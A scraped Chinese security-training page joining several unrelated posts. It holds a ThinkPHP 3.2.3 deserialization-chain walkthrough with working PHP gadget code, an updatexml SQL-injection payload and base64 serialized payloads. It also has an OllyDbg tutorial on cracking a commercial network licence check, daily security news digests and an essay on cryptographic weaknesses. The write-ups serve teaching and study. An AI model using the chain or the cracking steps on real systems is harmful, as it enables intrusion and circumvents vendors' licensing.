ThinkPHP3.2.3反序列化链子分析
前言
目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。
环境介绍
MAMP pro
PhpStorm
Xdebug
利用条件
具备反序列化入口
分析过程
首先在分析前,先新建一个控制器,写一个反序列化入口
在Application/Home/Controller/HelloController.class.php中新建以下内容:
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()
分析一下不可用入口:
例如,像上方这种,就没有可控参数,就不是很好利用
通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则
因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:
如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错
而我们全局搜索的结果如下:
在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array。
<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"
接下来全局搜索delete方法
如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法
上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。
前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
class Model{
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
输出:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==
传给浏览器后,我们可以看到Lxxx被成功的打印了出来
也就是说截止目前,我们的分析还没有问题,那接着往下分析:
在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控
接着看这个方法,往下看,看看是否有可控的点
上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控
那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。
在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。
下方的sql语句可能存在注入
这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。
可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法
parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试
这么一来就可以构造链子了
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $db;
protected $data = array();
public function __construct(){
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
"table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
"where" => "1=1"
);
}
}
}
namespace Think\Db\Driver{
class Mysql{
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
得到结果:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIA
后记
多断点,多打印,多跟进,多思考。
推荐实验:PHP反序列化漏洞实验(蚁景网安实验室) https://www.yijinglab.com/expc.do?ce=e5cce319-525a-43ed-befd-b1c399060a5b>>
网络安全日报 2022年04月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Elementor 插件的严重漏洞影响数百万 WordPress 网站
https://www.securityweek.com/critical-vulnerability-elementor-plugin-impacts-millions-wordpress-sites2、思科修补了WLAN 控制器中的严重漏洞
https://www.securityweek.com/cisco-patches-critical-vulnerability-wireless-lan-controller3、微软已采取法律和技术措施拆除 Zloader 僵尸网络
https://securityaffairs.co/wordpress/130181/malware/microsoft-disrupts-zloader-malware-infrastructure.html4、基于恶意软件的网络钓鱼活动以非洲银行业为目标
https://portswigger.net/daily-swig/african-banking-sector-targeted-by-malware-based-phishing-campaign5、美政府表示6亿美金Ronin Validator盗窃案与Lazarus Group有关
https://www.securityweek.com/us-gov-blames-north-korea-hackers-600m-cryptocurrency-heist6、Lazarus 瞄准化工行业
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical7、研究人员发现针对韩国人的类似于“Kitty 网络钓鱼行动”的活动
https://cyware.com/news/campaign-similar-to-operation-kitty-phishing-found-targeting-south-koreans-95e317d78、新的 EnemyBot DDoS 僵尸网络借用 Mirai 和 Gafgyt 的漏洞利用代码
https://thehackernews.com/2022/04/new-enemybot-ddos-botnet-borrows.html9、关键的 VMware Workspace ONE漏洞被广泛利用
https://securityaffairs.co/wordpress/130188/hacking/vmware-workspace-one-access-flaw-attacks.html10、以色列监控软件被用来监视欧盟官员
https://securityaffairs.co/wordpress/130139/malware/eu-officials-surveillance-software.html
实战天盾网络校验+暗桩
0x1
刚打开就显示 有新版 然后自动退出了 说明有更新了现在这个不能用了 拉进od开整
因为有弹窗,通过弹窗下手,MessageBoxA直接下断
成功断下,观看堆栈,发现传入进来的值就是提示新版
一路f8 走出来走到用户层 可以发现这个call就是提示更新的 然后下面这个就是退出call
我们直接nop掉 然后直接运行起来
发现成功运行起来,提示更新就被我们干掉了
点击登录显示你未充值到期 假的卡号肯定没用 我们直接搜索字符串
点E 然后进去401000基地址来查询字符串
发现了 原来是用了天盾网络验证 这里就好办了 这里做一个小知识
解决天盾网络验证分为4个步骤
1.判断登录
2.判断合法
3.判断算法
4.判断时间
我们一步一步解决掉他们
先是找到登录中跳转过去
直接这里的每一个call都用回车进去查看
像这种 FF25这种就是自带函数 而不是人自定义的
往下翻找到这个函数 应该就是登录判断函数
直接改变判断 然后跳转出来
找到合法
直接retn返回不进行判断
查找时间-1
进行更改时间 注意不要超出这个00 不然就是改变代码
找到算法识别跳转 一直往下翻到红色算法区域结束 第一个jnz判断的位置
直接改成jmp
往下翻再把jge改成jmp
0x2
这时候我以为已经成功了,但是直接闪退退出了。发现可能有暗桩或其他判断
一直单步跟进到这里,发现在这里闪退了
进去一看发现又进行了一次合法判断,直接改成retn返回
0x3
破解成功
0x4
破解成功后发现,里面的功能无法运行,感觉没有完全破解完,后又发现往路径里填写了一个key.txt
里面填了一个也不知道什么用的数字,重新回去调试
0x5
搜索字符串发现确实有这个key.txt 但是不知道做了什么
往上走发现 有一个判断跳过了这个key.txt
直接尝试nop掉这个判断,功能最终成功运行。
0x6总结
1.天盾校验就是这么一个过程或者大多数的网络校验都是如此,只需要一直调试。
2.发现有暗桩不要害怕,能断下单步调试,有耐心就能找到。
3.发现破解了还是不能运行,不要着急,仔细观察软件还做了什么,大胆尝试,猜测,改变。
推荐实验:Ollydbg之程序破解(蚁景网安实验室) https://www.yijinglab.com/expc.do?ce=b0b6e03f-a3cb-4f5c-9a98-272e2f4ee593>>
网络安全日报 2022年04月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、VMWare 确认 Workspace One 漏洞正在被广泛利用
https://www.securityweek.com/vmware-confirms-workspace-one-exploits-wild2、ABB 网络接口模块的缺陷可导致工业系统面临 DoS 攻击
https://www.securityweek.com/flaws-abb-network-interface-modules-expose-industrial-systems-dos-attacks3、Citrix 修补了多个产品中的漏洞
https://www.securityweek.com/citrix-patches-vulnerabilities-several-products4、Apache 解决了Struts 的一个严重RCE漏洞(CVE-2021-31805)
https://securityaffairs.co/wordpress/130173/security/critical-apache-struts-rce-flaw.html5、 研究人员发现影响医院使用的Aethon TUG 自主移动机器人5个漏洞
https://securityaffairs.co/wordpress/130157/security/jekyllbot5-flaws-tug-autonomous-mobile-robots.html6、LockBit勒索软件潜伏在美国政府网络中数月
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-lurked-in-a-us-gov-network-for-months/7、Keksec Hacker Group 部署的新 Enemybot DDoS 僵尸网络
https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet8、西门子、施耐德修复了多个关键漏洞
https://www.securityweek.com/ics-patch-tuesday-siemens-schneider-fix-several-critical-vulnerabilities9、严重的 HP Teradici PCoIP 漏洞影响 1500 万个终端
https://www.bleepingcomputer.com/news/security/critical-hp-teradici-pcoip-flaws-impact-15-million-endpoints10、Industroyer2 恶意软件针对乌克兰能源部门
https://cyware.com/news/industroyer2-found-targeting-energy-sector-in-ukraine-20a5aff4
网络安全日报 2022年04月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、微软周二补丁日修复了 128 个 Windows 漏洞,包括一个0day漏洞
https://www.securityweek.com/microsoft-patches-128-windows-flaws-new-zero-day-reported-nsa 2、TOURNIQUET 行动,暗网市场 RaidForums 被关闭
https://securityaffairs.co/wordpress/130131/deep-web/authorities-shut-down-raidforums.html 3、NGINX 项目维护者修复了 LDAP 认证模块中的0day漏洞
https://securityaffairs.co/wordpress/130117/hacking/nginx-ldap-reference-implementation-bug.html 4、Hashnode 博客平台报告的严重 LFI 漏洞
https://thehackernews.com/2022/04/critical-lfi-vulnerability-reported-in.html 5、松下的加拿大业务遭受勒索软件攻击
https://techcrunch.com/2022/04/11/panasonic-canada-ransomware/ 6、Chrome 100 更新补丁修复高危漏洞
https://www.securityweek.com/chrome-100-update-patches-high-severity-vulnerabilities 7、恶意Web重定向服务感染16500个站点以分发恶意软件
https://thehackernews.com/2022/04/over-16500-sites-hacked-to-distribute.html 8、Android银行木马Fakecalls可拦截客户对银行的呼叫
https://www.bleepingcomputer.com/news/security/android-banking-malware-intercepts-calls-to-customer-support/ 9、AWS RDS的本地文件读取漏洞导致内部AWS服务凭证泄露
https://securityboulevard.com/2022/04/aws-rds-vulnerability-leads-to-aws-internal-service-credentials/ 10、恶意软件Qbot启用新的Windows安装程序感染载体
https://www.bleepingcomputer.com/news/security/qbot-malware-switches-to-new-windows-installer-infection-vector/
网络安全日报 2022年04月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、匿名者入侵俄文化部并泄露 446 GB数据
https://securityaffairs.co/wordpress/130106/hacktivism/anonymous-hacked-russia-ministry-of-culture.html 2、SuperCare Health 披露影响超过 30 万人的数据泄露事件
https://securityaffairs.co/wordpress/130089/data-breach/supercare-health-data-breach.html 3、Microsoft 的新 Autopatch 功能可帮助企业保持系统最新
https://thehackernews.com/2022/04/microsofts-new-autopatch-feature-to.html 4、Directus数据引擎平台修复XSS漏洞
https://www.zdnet.com/article/xss-vulnerability-patched-in-directus-data-engine-platform 5、OpenSSH 9采用新的密钥交换方法以抵御量子计算机攻击
https://www.zdnet.com/article/openssh-now-defaults-to-protecting-against-quantum-computer-attacks/ 6、全球供应链攻击在2021年下半年激增51%
https://www.infosecurity-magazine.com/news/global-supply-chain-attacks-surge/ 7、全球76%的公司在过去一年中曾遭遇因技术问题导致的业务中断
https://www.cnbeta.com/articles/tech/1255705.htm 8、FIN7 黑客组织成员被判处5年有期徒刑
https://www.bleepingcomputer.com/news/security/fin7-hacking-group-pen-tester-sentenced-to-5-years-in-prison/ 9、英特尔关闭了在俄的所有业务运营
https://www.bleepingcomputer.com/news/technology/intel-shuts-down-all-business-operations-in-russia/ 10、爱尔兰银行因数据泄露被罚款46.3万欧元
https://www.infosecurity-magazine.com/news/bank-of-ireland-fined-463000-over/
密码学的安全性浅析4
前言
本文是本系列的第四篇,由于侧重点是对密码学中的安全性问题进行分析,所以不会对密码学基础的核心概念进行阐述,如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材,如《密码学原理与实践》《深入浅出密码学》,如果只是感兴趣而并非要深入了解,只阅读《图解密码技术》也就够了。
Diffie-Hellman
迪菲-赫尔曼密钥交换/协商(英语:Diffie–Hellman key exchange,缩写为D-H) 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道创建起一个密钥。这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。
D-H函数
DH密钥协商协议的核心操作是DH函数,其涉及通信双方从Zp*群中随机选择两个私有值,记做a、b,通过a计算公共值A= g^a mod p,通过b计算
B= g^b mod p
然后双方将公共值与自己的私有值结合,这里的关键在于结合后的值是相同的,即
得到的g^ab称为共享秘密,将其传递给密钥派生函数KDF,以生成对称密钥。
这看起来非常简单,但是这只是表面的,事实上这并不容易
一方面,并不是任意素数p或者基数g都可以奏效,比如某些g会导致将共享秘密g^ab限制在一小部分范围内,但实际上我们希望它的可能取值范围与Zp*一样。
p应该满足(p-1)/2结果也是素数,这样才可以保证该群没有使DH更容易被攻破的更小子群。
D-H问题
使用DH计算共享秘密时,我们关心的不仅是DLP问题,更关注特定于DH的问题,分别是CDH和DDH。
CDH
CDH即computational Diffie-Hellman,计算DH问题,给定g^a和
g^b,但是不知道a或b时,
求出g^ab
这个问题的出发点是为了确保攻击者即使拿到了双方的公共值,也不知道共享秘密。
如果可以解决DLP,自然可以解决CDH;但是解决CDH,不一定能解决DLP,事实上可以解决CDH的最快方法是用NFS(numer field sieve,数域筛选法)求解DLP
DDH
DDH即decisional Diffie-Hellman,这个难度假设比CDH更强,如假设在给定公共值的2048比特情况下,攻击者可以计算共享秘密的前32比特,但是无法计算所有2048比特。此时虽然攻击者不知道完整的g^ab,但是它还是知道共享秘密的一部分信息,这有助于攻击者造成破坏。
为了确保攻击者无法得到关于
g^ab的任何信息,只需要将其与随机的群元素区分开即可,这种问题就称之为DDH。给定公共值和某个随机数c,在公共值和g中二选一(概率均为1/2),
DDH问题确定g^ab是否被选中。
如果DDH很难,那么CDH也会很难,就无法获得g^ab的任何信息;如果可以解决CDH,那么就可以解决DDH.DDH不如CDH难,但是DDH是密码学中的主要假设,也是被研究最多的一种。
共享秘密用作密钥
通信双方在完成DH会话交换时,会得到共享秘密g^ab,但是,我们要注意,这是作为派生会话密钥的输入,其本身并不是密钥!
我们知道密钥看起来应该是随机的,其本身每个比特为0、1的概率是相同的,但是g^ab做不到这一点,因为它不是随机字符串。这里容易混淆的一点是:随机的群元素与随机的比特字符串本质上是不一样的。
举个例子,设乘法群Z13*={1,2...12},使用g=2作为生成元,根据g^i可以扩展成所有
Z13*的值,如果g的指数是随机的,那么会获得
Z13*的随机元素,但是将对应元素编码为4比特字符串时就不是随机的了
此时的随机的概念要求所有比特位为0或1的概率相同
但是在Z13*中,有7个值的最高比特位为0,只有5个值的最高比特位为1,所以这个比特位为0的概率为7/12,约为0.58,而不是0.5.
不安全的群参数
CVE-2016-0701是OpenSSL的一个漏洞,其利用的就是不安全的D-H参数,当用户使用不安全的DH群参数(即不安全的素数p)时,会引发风险。
给定素数p,所有DH操作都在其对应的乘法群Zp中发生,Zp包括小的子群.问题在于,在加密协议中如果较大的群中存在较小的子群是非常危险的,因为此时会将共享秘密限制在较小的可能值集合内。更进一步地,攻击者可以构造DH指数x,当其与受害者的公钥g^y结合时,会暴露有关私钥y的信息,从而可能让其完全泄露。
椭圆曲线
曲线选择
椭圆曲线的安全性在于它使用的群的阶(即曲线的点数),加法公式以及其参数的选取原因。
椭圆曲线有很多,但不是所有的都适用于加密,在选择时要仔细选择曲线方程y^2=
x^3+ax+b中的系数a和b,否则得到的曲线可能是不安全的,一般而言,有如下要求:
1.群的阶不能等于一些小数的乘积,否则会很容易求解ECDLP
2.由于当Q=P时,加法公式与其他情况不同,所以做加法时需要权衡,当攻击者可以区分相同点之间的加法和不同点之间的加法时,可能会泄露关键信息。如果曲线对所有点的加法都使用同一个公式,那么它可能是安全的
3.如果曲线的设计者不解释选择参数a,b的原因,那么曲线可能是不安全的,因为我们并不知道a,b是否是较弱的参数。
常用的曲线有NIST曲线以及Curve25519
NIST曲线
NIST的5条曲线工作在模素数上,称为素数曲线,这是最常见的,其中最常用的是P-256,这是对256比特数
进行模运算的曲线,其对应的方程为
但是NIST曲线的系数选择是由NSA指定的,他们并没有说选b的理由,所以这可能是不安全的。
Curve25519
这是由Daniel J.Bernestein设计的,是目前最高水平的 Diffie-Hellman函数,适用于广泛的场景。Curve25519是一个椭圆曲线提供128位安全性,设计用于椭圆曲线Diffie-Hellman(ECDH)密钥协商方案。它是最快的ECC曲线之一。给定一个用户的32字节密钥,curve25519计算该用户的32字节公钥。给定该用户的32字节密钥和另一个用户的32字节公钥,curve25519计算一个32字节的共享密钥提供给这两个用户使用。然后可以使用这个秘密对两个用户进行身份验证和信息加密。其方程形式为
其中486662是满足作者设定的安全准则的最小整数。
其应用十分广泛,包括Chrome,OpenSSH等。
随机性差
与传统的Diffie-Hellman比起来,椭圆曲线使用的参数更多,更容易受到参数误用的风险,也就更容易受到攻击。
我们知道在ECDSA的签名过程中求s=(h+rd)/k mod n时,使用的k是秘密随机的,所以由此产生的签名也是随机的。
如果相同的k被重用去对第二个消息进行签名,那么攻击者可以通过生成的两个值s1=(h1+rd)/k,s2=(h2+rd)/k,得到s1-s2=(h1-h2)/k,从而有k=(h1-h2)/(s1-s2),当k已知时,通过下式可以恢复私钥d
无效曲线攻击
根据椭圆曲线的特点,如果无法验证输入点,那么ECDH就无法正常工作,因为给出点P+Q的坐标的加法公式中没有涉及曲线的系数b,加法公式只依赖于点P和点Q的坐标和系数a,这会导致什么问题呢?
对两个点做加法时,可能其中一个点不在正确的曲线上,即可能加的是另一个只有系数b不同的曲线上的点,这样的话,加法不是在曲线上进行的,攻击者由此就可以发动攻击。
举个例子,设Alice和Bob正在进行ECDH,并在曲线和基点G上达成一致。Bob将其公钥dBG发送给Alice,但是Alice不在约定的曲线上发送自己的公钥dAG,而是发送了另一条曲线上的一个点(而这条曲线非常如,并且对于Alice选择的点P,求解ECDLP很容易,换句话说,Alice选择了一个阶数很低的点,其有一个较小的k,是的kP=O)。而Bob并不知情,通过该公钥计算共享秘密dBP,对他进行哈希,并使用得到的密钥进行加密,并将其发送给Alice。但是,Bob在计算dBP时,不知不觉中计算了较弱的曲线,由于P的阶较低,于是P点落在原本选择的高阶的群的一个小的子群中,导致dBP也在这个小
一个典型的例子是CVE-2019-9836,研究人员发现SEV椭圆曲线(ECC)实现容易受到无效曲线攻击。在启动命令中,攻击者可以发送不在官方NIST曲线上的小顺序ECC点,并迫使SEV固件将小顺序点乘以固件的专用DH标量。另外这篇学术论文也可供参考《Practical Invalid Curve Attacks on TLS-ECDH》
后量子密码学
量子加速
当一个问题用量子计算机比用经典计算机能更快求解时 ,就称之为量子加速。比如在经典计算机中,要在无序列表中找到某个索引,平均需要n/2次操作。但是存在一种量子算法,只需要√n次操作即可,这比n/2小了几个数量级,比如n=1000000,那么n/2=500000,√n=1000。
我们一般使用时间复杂度来量化算法之间的差异,其用O()符号表示,以上面这个例子为例,经典算法的量级为O(n),而量子算法的运行时间在O(√n)量级,它们之间的差异是平方指数,我们称之为二次加速。
事实上,量级计算还可以实现指数加速,即一个任务在经典计算机上需要指数级时间,如O(2^n),而在量子计算机上只需要多项式复杂度即可,即O(n^k)。因为在密码学中,我们通常把指数时间与不可能联系起来,而多项式时间意味着可实现,所以指数加速对密码学带来的冲击是非常大的。
指数加速的典型代表就是Simon问题:
给定一个方程:
如果使用经典计算机,求解该问题本质可以归结为寻找碰撞,需要求f进行2^(n/2)次查询
而如果使用量子计算机,通过n次查询即可,对应的量子算法电路如下
实际上,Simon问题的指数加速只有在非常特定的情况下才能应用于对称密码。我们再来看看更实际的情况
Shor算法
Shor算法作为一种量子算法,可以在求解因式分解、离散对手、椭圆曲线离散对数等问题时实现指数加速,这意味着RSA,D-H、椭圆曲线密码等机制都会受到影响。Shor算法中的量子部分如下图所示
Shor算法实际上解决的问题比因式分解等问题更普遍:如果f是周期函数,即存在f(x+a)=f(x),其中a是周期,则Shor算法可以有效找到周期a。这种高效找到周期的能力对于密码学而言非常重要,可以用其攻击公钥密码。我们来看看Shor怎么解决因式分解和离散对数问题,它们分别对应着RSA和Diffie-Hellman背后的数学难题
因式分解
设要分解大数N=pq
如果可以计算出a^x mod N的周期就能很容易对N进行因式分解:
选择一个小于N的随机数a,然后向Shor算法询问函数f(x)=a^x mod N的周期,如果找到周期,那么就有
即
这意味着,要么
或者
换句话说,a^ω -1是N的倍数,即存在某个数k,使得下式成立
这里的关键在于a^(ω-1)可以很容易分解为两项的乘积
那么就可以计算出a^ω/2 -1与N的最大公约数,并检查是否已经得到N的一个非平凡因数,如果不是,则对另一个值a^ω/2+1做相同运算,尝试几次后,就可以得到N的因数,此时就可以从RSA的公钥中恢复私钥,拿到私钥后就可以解密消息、伪造签名了。
我们来分析下复杂度。对N进行因式分解的经典算法的时间复杂度是n的指数级别,n是N的比特长;而Shor算法在n的多项式时间O(n^2(log n)(log log n))内即可完成。下图是经典大数分解和Shor算法的复杂度对比
离散对数
离散对数的问题是通过y = g^x mod p来寻找x,利用Shor算法快速找到周期,从而进行求解。
设函数
要找到周期ω和ω‘,满足
f(a+w,b+w')=f(a,b)
通过上式可以推出
使用g^x代替y,可以得到
这等价于
所以可以得出x=-w/w'
算法复杂度为O(n^2(log n)(log log n)),其中n是p的比特长度
Grover算法
除了Shor算法之外,另一个经典的量子加速就是以√n复杂度搜索n个元素的能力(在经典算法中,其复杂度为O(n)),这种加速可以通过Grover算法实现,于1996年由计算机科学家洛夫·格罗弗提出,Grover算法的量子电路表示如下。
简单起见,我们可以把Grover算法当做从n个可能的值中找到满足f(x)=1中的x的一种方法,其中f满足:f输出为0或1,对于大部分输入都会输出0。如果有m个x值满足f(x)=1,那么Grover算法可以在O(√n/m)时间内找到解
把f放到密码学的场景下,设f(x)=1当且仅当x等于加密函数E(K,P)=C的未知密钥K。如果E是AES的话,找x相当于就是找到密钥,如果使用Grover算法,那么时间复杂度为2^64量级,
而使用经典计算机则是2^128量级。
此外,Grover算法还可以用于哈希函数的原像攻击,其通过2^(n/2)量级运算就可以找到n比特哈希函数的原像。
有关的具体理论分析可以阅读原始论文《A fast quantum mechanical algorithm for database search》。
后量子密码算法
后量子密码是指不会被量子计算机攻破的密码,这也就意味着这些算法不能依赖于会被Shor算法等解决的难题。目前主要的类型有四种:基于编码的,基于格的,基于多变量的,基于哈希的。在NIST PQC比赛第三轮决赛时的算法按照类别分组可以表示如下。
基于哈希的签名方案的安全性来源于Hash函数的安全性, 典型方案为默克尔(Merkle)签名方案, 由一次性签名方案OTS (One Time Signature)演变而来的, 并结合了Merkle的哈希树认证机制, 共同构造出一个完全的二叉树来实现数字签名。哈希树的根是公钥, 一次性的认证私钥是树中的叶子节点。
基于编码理论构造的公钥体制, 其理论基础是解码问题的困难性, 换句话说就是在已知生成矩阵的情况下, 在码空间寻找一个码字与已知码的Hamming距离最短。如果已知码为0则问题就是最小权重问题。它的任意线性码的译码问题是NP完全问题。
基于格的公钥密码体制是在大维数的格上, 基于最短向量问题SVP (Shortest Vector Problem)和最近向量问题CVP (Closest Vector Problem)等数学难题而构造的公钥密码体制。SVP问题是指在大维数格中寻找长度最短的非零向量, 而CVP是指在大维数格中寻找和固定向量距离最近的向量, 这两个问题都是NP难问题。
基于多变量的算法使用有限域上具有多个变量的二次多项式组构造加密、签名、密钥交换等算法。它的安全性来源于求解有限域上随机生成的多变量非线性多项式方程组。该问题被证明为非确定性多项式时间困难。目前没有已知的经典和量子算法可以快速求解有限域上的多变量方程组。
它们横向的比较分析可以总结如下
如果对后量子密码学有兴趣,可以进一步参考《The Survey of Post-quantum Cryptography Hardware Implementation 》等文献。
参考
1.https://qrunes-tutorial.readthedocs.io/en/latest/chapters/algorithms/shor_Algorithm.html
2.https://en.wikipedia.org/wiki/Shor%27s_algorithm
3.https://web.archive.org/web/20190702011957/https://seclists.org/fulldisclosure/2019/Jun/46
4.https://csrc.nist.gov/Projects/elliptic-curve-cryptography
5.https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0701
6.https://en.wikipedia.org/wiki/Computational_Diffie%E2%80%93Hellman_assumption
7.https://en.wikipedia.org/wiki/Decisional_Diffie%E2%80%93Hellman_assumption
https://zhuanlan.zhihu.com/p/255171562
9.《Handbook of Elliptic and Hyperelliptic Curve Cryptography》
10.《Quantum Computing and Quantum Information》
11.https://arxiv.org/abs/quant-ph/9605043
12.https://docs.microsoft.com/zh-cn/azure/quantum/concepts-grovers
13.《Serious Cryptography》
14.The Survey of Post-quantum Cryptography Hardware Implementation
15.《Elliptic Curve Cryptography in Practice》
16.https://link.springer.com/chapter/10.1007/978-3-319-24174-6_21
网络安全日报 2022年04月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Mirai 僵尸网络利用 Spring4Shell 漏洞
https://www.securityweek.com/spring4shell-vulnerability-exploited-mirai-botnet 2、谷歌更新针对 Android 应用程序的目标 API 级别要求
https://www.securityweek.com/google-updates-target-api-level-requirements-android-apps 3、大规模的 DDoS 攻击导致芬兰政府网站瘫痪
https://securityaffairs.co/wordpress/130032/hacking/ddos-took-down-finnish-govt-sites.html 4、研究人员发现 AutoDesk 产品中的多个漏洞
https://www.fortinet.com/blog/threat-research/fortinet-security-researchers-discover-multiple-vulnerabilities-in-autodesk-products-dwg-trueview-navisworks-and-design-review 5、新的Octo银行木马通过Google Play上的假应用程序传播
https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html 6、俄石油巨头Gazprom Neft的网站因网络攻击而关闭
https://www.infosecurity-magazine.com/news/russian-oil-gazprom-neft-hack/ 7、研究人员发现影响苹果Web应用程序的HTTP请求走私漏洞
https://portswigger.net/daily-swig/apple-paid-out-36-000-bug-bounty-for-http-request-smuggling-flaws-on-core-web-apps-research 8、研究人员发现BlackCat勒索软件与BlackMatter存在关联
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html 9、树莓派的更新删除了默认用户以阻止暴力攻击
https://www.bleepingcomputer.com/news/security/raspberry-pi-removes-default-user-to-hinder-brute-force-attacks/ 10、北爱尔兰TrustFord网站遭到Conti勒索软件攻击
https://www.infosecurity-magazine.com/news/northern-ireland-trustford/
网络安全日报 2022年04月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、谷歌与 GitHub 合作推进供应链安全
https://www.securityweek.com/google-teams-github-supply-chain-security 2、微软将本地部署的Exchange/SharePoint/Skype添加到漏洞赏金计划
https://www.securityweek.com/microsoft-adds-premises-exchange-sharepoint-skype-bug-bounty-program 3、BlackCat 勒索软件针对工业组织
https://www.securityweek.com/blackcat-ransomware-targets-industrial-companies 4、CVE-2022-22292 漏洞可能允许三星 Android 设备被入侵
https://securityaffairs.co/wordpress/129942/hacking/cve-2022-22292-hack-samsung-android-devices.html 5、OpenSSL 漏洞(CVE-2022-0778)影响多个 Palo Alto 设备
